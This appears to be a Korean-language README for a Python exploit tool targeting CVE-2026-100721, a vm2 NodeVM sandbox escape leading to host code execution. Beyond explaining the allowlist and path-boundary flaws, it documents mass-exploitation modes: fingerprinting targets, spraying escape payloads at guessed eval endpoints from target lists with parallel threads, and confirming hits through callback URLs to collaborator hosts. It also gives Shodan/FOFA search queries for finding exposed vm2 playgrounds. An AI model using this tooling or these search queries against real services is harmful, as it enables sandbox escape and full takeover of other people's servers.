
CVE-2026-100721에 대한 Python PoC: vm2 <3.12.2 NodeVM 외부 허용 목록 우회를 탐지하고 익스플로잇하여 로컬 랩 또는 대량 HTTP 대상를 통해 샌드박스 탈출 및 호스트 RCE를 달성합니다.
**CVE-2026-100721**에 대한 Python 3 PoC — vm2(npm) 3.12.2 이전 버전의 NodeVM 외부 모듈 리졸버에서 발생하는 부적절한 권한 부여로, 신뢰할 수 없는 JavaScript가 잘못 구성된 임베더 내부에서 실행될 때 샌드박스 탈출 및 호스트 측 코드 실행으로 이어집니다.
PoC 페이지: https://pocbit.org/pocs/cve-2026-100721
vm2는 동일한 Node 프로세스 내의 샌드박스 안에서 신뢰할 수 없는 JavaScript를 실행하기 위해 널리 사용되는 Node.js 라이브러리입니다. 애플리케이션은 다음과 같은 제한과 함께 **NodeVM**을 사용합니다:
require.builtin — 게스트 코드가 로드할 수 있는 코어 모듈 (fs, child_process, …)require.external — npm 패키지 이름의 허용 목록 (예: left-pad, lodash만 허용)require.resolve — 호스트가 제어하는 플러그인 또는 의존성 디렉터리를 가리키는 사용자 정의 리졸버context: 'host' — 실제 호스트 require()를 통해 로드되는 외부 패키지 (성능을 위해 흔히 사용됨)대표적인 임베더: 사용자 스크립트 플랫폼, 로우코드 러너, 플러그인 마켓플레이스, 온라인 IDE, 자동화 샌드박스, 내부 "안전한 eval" 마이크로서비스.
CVE-2026-100721은 게스트의 require("package-name")이 허용되는지 여부를 vm2가 결정하는 방식의 부적절한 권한 부여(CWE-863)입니다.
vm2 릴리스 전반에 걸쳐 수정된 두 가지 관련 결함(동일한 부류의 버그 — 이름 / 경로 경계 혼동):
허용 목록 사전 검사는 left-pad와 같은 항목으로부터 패턴을 생성하지만 전체 패키지 이름 경계를 강제하지 않습니다. 게스트 코드는 문자열이 left-pad를 포함하기 때문에 **evil-left-pad**를 요청할 수 있습니다. 해당 충돌 패키지가 사용자 정의 리졸버가 접근할 수 있는 경로에 존재하면, vm2는 이를 호스트 컨텍스트에서 로드합니다. 최상위 모듈 코드는 샌드박스 래핑 이전에 실행됩니다 → child_process, 파일 읽기, 시크릿 등.
lib/resolver-compat.js, 3.12.2에서 수정됨)사용자 정의 리졸버가 **context: 'host'**와 함께 사용될 때, vm2는 엄격한 경로 구분자 / 끝 경계 없이 접두사 정규식을 사용하여 허용 디렉터리를 기록합니다. 게스트는 나중에 허용 목록에 없는 형제 디렉터리(예: foo만 허용된 경우 .../node_modules/foo2/index.js)에 대한 절대 경로를 require()할 수 있습니다. 이 형제 디렉터리는 **isPathAllowedForModule**을 통과하여 호스트 프로세스에서 실행됩니다.
영향받는 버전: vm2 < 3.12.2 (CVE-2026-100721). 관련 이름 충돌 수정 사항은 3.11.7에도 반영되었습니다.
수정됨: vm2 ≥ 3.12.2로 업그레이드 (그리고 최신 상태 유지).
| 지표 | 값 |
|---|---|
| CVSS 3.1 | 9.0 Critical — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H |
| CVSS 4.0 | 9.5 Critical (Rapid7 / VulnCheck) |
| 인증 | 공격 체인은 보통 샌드박스 내부의 낮은 권한 코드 실행 이후 시작됨 (권고문에서 PR:L) |
| 공로 | Tencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang 외 |
원격 "단일 HTTP 요청 RCE"는 보편적이지 않습니다. 실질적인 체인에는 다음이 필요합니다:
require.external 허용 목록 + 흔히 사용자 정의 require.resolve.context: 'host' (또는 이에 상응하는 호스트 로딩).이 조건들이 맞아떨어지면 영향은 호스트 Node 전체 장악입니다 — 단순한 게스트 샌드박스 악용이 아닙니다.
| 모드 | 동작 |
|---|---|
--lab | 권위 있는 로컬 익스플로잇: lab/이 vm2 3.11.5를 설치하고, evil-left-pad를 빌드하며, **POCBIT-100721-HOST_EXEC**를 시연 (벤더 권고문을 그대로 반영) |
check | 원격 vm2 핑거프린팅 (package.json, lockfile, JS 번들), 버전 < 3.12.2, 선택적 **--probe-exec**로 일반적인 샌드박스 API 경로 탐색 |
exploit | 구성 가능한 **--exec-paths**로 허용 목록 우회 프로브 JS (evil-left-pad, 충돌 이름)를 대량 전송 가능하게 POST; 응답 내 마커 또는 샌드박스 API 표면 + --callback-url 시 **exploited**로 표시 |
| 대량 일괄 | --list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt |
PoCbit JSONL 필드: 모든 행에 pocbit, pocbit_catalog, pocbit_page.
CLI: 녹색/마젠타 PoCbit 배너, [EXPLOIT] / [SENT] / [FAIL] / [HIT] 색상 표시 (--no-color로 비활성화).
중요: 원격 익스플로잇 모드는 사용자가 구성한 HTTP 샌드박스 러너를 대상으로 합니다. 순수 라이브러리 검증에는 **python poc.py --lab**을 사용하세요 (Node.js + npm 필요).
pip install -r requirements.txt
| 구성 요소 | 용도 |
|---|---|
| Python 3.9+ | 스캐너 / 대량 드라이버 |
| Node.js + npm | --lab 전용 (CVE 이해를 위해 권장) |
cd CVE-2026-100721
python poc.py --lab
취약한 vm2에서 예상되는 출력:
[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE
python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--exec-paths /api/run,/api/eval --code-field code
python poc.py -u http://127.0.0.1:3000 --mode exploit \
--callback-url http://your-collaborator.example/cve-100721
python poc.py --list targets.txt --mode exploit \
--exec-paths /api/run,/api/sandbox/run \
--callback-url http://oast.example.com/hit -j 15
사용자 정의 게스트 스크립트:
python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js
출력:
cve_2026_100721_exploit.jsonl — 대상별 JSONexploited.txt — 탈출 마커, 콜백 표면 또는 샌드박스 API 적중이 발생한 대상드라이버는 일반적인 패턴을 탐색합니다 (**--exec-paths**로 재정의):
/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …
시도되는 JSON 본문 필드: code, script, source, javascript, js, payload, … (**--code-field**로 재정의).
내장 익스플로잇 JS는 **evil-left-pad**와 같은 충돌 패키지 이름을 반복합니다 (허용 목록 우회 PoC). 충돌 패키지를 이미 호스팅하고 있는 취약한 임베더에서:
require("evil-left-pad"); // host top-level code runs → sandbox escape
로컬 **lab/poc.js**는 external: ['left-pad'], builtin: [], 사용자 정의 **resolve**를 사용하여 전체 신뢰 권고 시나리오를 구현합니다.
require로 해석하지 마세요.npm ls vm2, SBOM, 컨테이너 스캔, "playground" + Node 스택에 대한 Shodan/FOFA.body="vm2"
header="Express"
title="playground"
body="/api/eval"
body="NodeVM"
버전 확인을 위해 노출된 /package-lock.json 또는 /node_modules/vm2/package.json (잘못된 구성)과 결합하세요.
테스트 권한이 있는 시스템과 npm 프로젝트에서만 사용하세요. 샌드박스 탈출은 호스트 장악과 같습니다.